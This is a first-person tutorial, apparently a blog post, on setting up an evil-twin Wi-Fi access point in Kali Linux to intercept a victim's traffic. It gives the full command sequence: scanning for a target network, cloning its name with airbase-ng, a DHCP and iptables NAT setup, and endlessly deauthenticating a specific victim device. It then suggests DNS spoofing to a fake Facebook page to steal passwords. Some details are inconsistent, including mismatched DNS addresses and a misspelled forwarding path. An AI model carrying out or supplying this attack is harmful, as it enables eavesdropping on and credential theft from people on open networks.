When I tried to set up an eviltwin for a MitM-constelation in kali 2.0, I couldn't provide internet to the victim. The origin was the brctl bridging. I have read many tutorials but all of them where explained in backtrack and older versions of kali. So i was searching for a solution without using brctl and this solution will be explained now. This will just work on unencrypted wireless-environments.
First victims AP information must be observerd
set wifi-adpater in monitor mode
there are two options to do so, I prefer this commands
"ifconfig wlan0 down"
"iwconfig wlan0 mode monitor"
"ifconfig wlan0 up"
this is the second one
"airmon-ng start wlan0"
if you have trouble with this type "airmon-ng check" and maybe kill some of the PIDS, but be aware not to kill your network connection.
airmon-ng will rename your wlan0 to wlan0mon so consider this in the following parts of the howto.
If monitor mode is enabled start checking the air for the APs sending their beacons.
The last command will provide you with useful information to set up the fake-AP.
- BSSID of the real AP
- channel of the real AP
- encryption of the real AP
- ESSID of the real AP
We pick the one with the ESSID wireless because this is an unencrypted AP. We can guess that this is a hotspot or a very careless user.
- BSSID 64:7C:34:92:2B:41
- Channel 2
- no encryption
- ESSID wireless
No we start a more specific airodump to get more overview
"airodump-ng --bssid 64:7C:34:92:2B:41 -c 2 wlan0"
we can see in the last line that there is already connected a device to this AP. The device has the MAC F8:01:13:4A:BA:D7
Let this terminal open and the airodump running.
To provide our fake-AP with internet connection we have to set up an DHCP-server to configure the fake-AP with an IP-address and subnet.
prove if isc-dhcp-server is already installed
open a new Terminal
"dpkg -s isc-dhcp-server | grep Status"
"apt-get install isc-dhcp-server"
No we have to configure the dhcpd.conf
add this lines to the bottom
subnet 192.168.2.0 netmask 255.255.255.0
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option domain-name-servers 126.96.36.199;
option routers 192.168.2.1;
range 192.168.2.20 192.168.2.60;
(please TAB the lines between the brackets)
the lease times set the time validity of the shared IP's.
subnet and the netmask set the net: 192.168.2.0 - 192.168.2.255 for our fake AP. the option domain-name-servers 188.8.131.52 set the DNS from google the rest of them are self explaining.
save the file
no type in the second terminal
"airbase-ng -e wireless -c 2 wlan0"
here we have created the eviltwin-AP. I don't changed the BSSID, just the ESSID.
to change even the BSSID and not just the ESSID type
"airbase-ng -e wireless -a 64:7C:34:92:2B:41 -c 2 wlan0"
but for this attack is it not really necessary and just confuse while monitoring the results.
so here we started the eviltwin-AP and it has the BSSID C4:E9:84:0D:9C:FA
to monitor the connections we open a third terminal and type
"airodump-ng --bssid C4:E9:84:0D:9C:FA -c 2 wlan0"
Term1: monitors the real-AP
Term2: runs the fake-AP
Term3: monitors the fake-AP
airbase provide us with a new network-interface while it is running.
should show you some results now
so we bring it up
"ifconfig at0 up"
"ifconfig at0 192.168.2.1 netmask 255.255.255.0"
now start the dhcp-server
here the server will be started with the edited dhcpd.conf
"dhcpd -cf /etc/dhcp/dhcpd.conf "
to be sure the file is load correctly
"service isc-dhcp-server restart"
wrong ip-address in this picture, should be 192.168.2.1
last step before we go
just type this commands
iptables --table nat --flush
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD -j ACCEPT --in-interface at0
echo 1 > /proc/sys/net/ipv4/ipforward
They will configure your firewall to route all traffic from at0 to eth0.
The last command say to your networkcard: "act like a router and forward all traffic to his destination"
open a fourth terminal and send deauthenticate frames to the device which sticks on the real-AP.
"aireplay-ng --deauth 0 -a 64:7C:34:92:2B:41 -c F8:01:13:4A:BA:D7 wlan0"
--deauth 0 means that the frames will sending in an endless loop
(or till we have the connection we want to)
-a defines the BSSID of the AP
-c defines the MAC of the device we want to observe
we just shot down a specific device to avoid to much attention on network-flutter.
no we can can listen to all traffic of the device.
These steps seems complicated for this kind of wifi-hack. When you write a script for dhcp-server starting and flushing it won't take more than 2 minutes to set up this attack. Theoretically you can write a script for the whole setup.
The profit of this attack should also be clear. When I heard of this attack my first question was: "When it's unencrypted anyway why should I conduct this attack and not just sitting in a good radius to the victim".
Benefit 1 is that this device now get provided the IP-address over our DHCP-server so we are in the same network...our network. (injection and so on).
Benefit 2 you can expand this attack to set up DNS-Spoofing. So the victim get redirect to a fake-Facebook site and we grab his password.
and so on...